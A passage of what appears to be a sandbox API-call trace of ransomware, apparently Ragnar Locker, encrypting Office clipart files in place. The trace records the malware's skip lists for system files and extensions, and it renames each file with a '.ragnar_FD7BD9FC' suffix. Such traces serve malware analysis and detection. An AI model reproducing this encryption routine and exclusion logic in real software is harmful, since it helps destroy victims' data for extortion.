(lpString1=".GIF", lpString2=".db") returned 1 [0079.796] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.796] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.796] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.796] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.796] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.796] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0079.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.796] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13254) returned 1 [0079.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x33bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.796] GetProcessHeap () returned 0x580000 [0079.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.796] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.798] VirtualAlloc (lpAddress=0x0, dwSize=0x33c6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.798] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x33c6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x33c6, lpOverlapped=0x0) returned 1 [0079.799] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.799] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x33c6, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.799] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x33c6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x33c6, lpOverlapped=0x0) returned 1 [0079.800] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x33c6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.800] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.800] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x33c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.800] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.800] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.800] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.800] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.800] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.800] GetProcessHeap () returned 0x580000 [0079.800] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.800] CloseHandle (hObject=0xf4) returned 1 [0079.800] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" [0079.800] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.ragnar_FD7BD9FC" [0079.801] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.801] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0079.801] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.801] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00165_.GIF" | out: lpString1="AG00165_.GIF") returned="AG00165_.GIF" [0079.801] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned=".GIF" [0079.801] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.801] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="autorun.inf") returned -1 [0079.801] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="boot.ini") returned -1 [0079.801] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="bootfont.bin") returned -1 [0079.801] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="bootsect.bak") returned -1 [0079.801] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="bootmgr") returned -1 [0079.802] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="bootmgr.efi") returned -1 [0079.802] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.802] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="desktop.ini") returned -1 [0079.802] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="iconcache.db") returned -1 [0079.802] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="ntldr") returned -1 [0079.802] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="ntuser.dat") returned -1 [0079.802] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.802] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="ntuser.ini") returned -1 [0079.802] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="thumbs.db") returned -1 [0079.802] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.802] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.802] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.802] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.802] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.802] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.802] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0079.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.803] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8582) returned 1 [0079.803] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x217d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.803] GetProcessHeap () returned 0x580000 [0079.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.803] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.805] VirtualAlloc (lpAddress=0x0, dwSize=0x2186, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.805] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.805] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.805] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2186, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2186, lpOverlapped=0x0) returned 1 [0079.806] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.806] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2186, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.806] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2186, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2186, lpOverlapped=0x0) returned 1 [0079.806] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2186, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.806] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2186, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.807] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.807] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.807] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.807] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.807] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.807] GetProcessHeap () returned 0x580000 [0079.807] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.807] CloseHandle (hObject=0xf4) returned 1 [0079.807] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" [0079.807] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.ragnar_FD7BD9FC" [0079.807] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.808] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0079.808] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.808] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00167_.GIF" | out: lpString1="AG00167_.GIF") returned="AG00167_.GIF" [0079.808] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned=".GIF" [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="autorun.inf") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="boot.ini") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="bootfont.bin") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="bootsect.bak") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="bootmgr") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="bootmgr.efi") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="desktop.ini") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="iconcache.db") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="ntldr") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="ntuser.dat") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="ntuser.ini") returned -1 [0079.808] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="thumbs.db") returned -1 [0079.808] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.808] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.808] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.808] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.808] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.808] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.808] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0079.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.809] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4894) returned 1 [0079.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1315, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.809] GetProcessHeap () returned 0x580000 [0079.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.809] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.811] VirtualAlloc (lpAddress=0x0, dwSize=0x131e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.811] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.811] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.811] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x131e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x131e, lpOverlapped=0x0) returned 1 [0079.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.812] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x131e, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.812] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x131e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x131e, lpOverlapped=0x0) returned 1 [0079.812] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x131e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.812] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x131e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.812] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.812] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.812] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.812] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.813] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.813] GetProcessHeap () returned 0x580000 [0079.813] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.813] CloseHandle (hObject=0xf4) returned 1 [0079.813] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" [0079.813] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.ragnar_FD7BD9FC" [0079.813] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.813] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0079.814] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.814] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00169_.GIF" | out: lpString1="AG00169_.GIF") returned="AG00169_.GIF" [0079.814] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned=".GIF" [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="autorun.inf") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="boot.ini") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="bootfont.bin") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="bootsect.bak") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="bootmgr") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="bootmgr.efi") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="desktop.ini") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="iconcache.db") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="ntldr") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="ntuser.dat") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="ntuser.ini") returned -1 [0079.814] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="thumbs.db") returned -1 [0079.814] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.814] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.814] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.814] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.814] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.814] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.814] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0079.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), 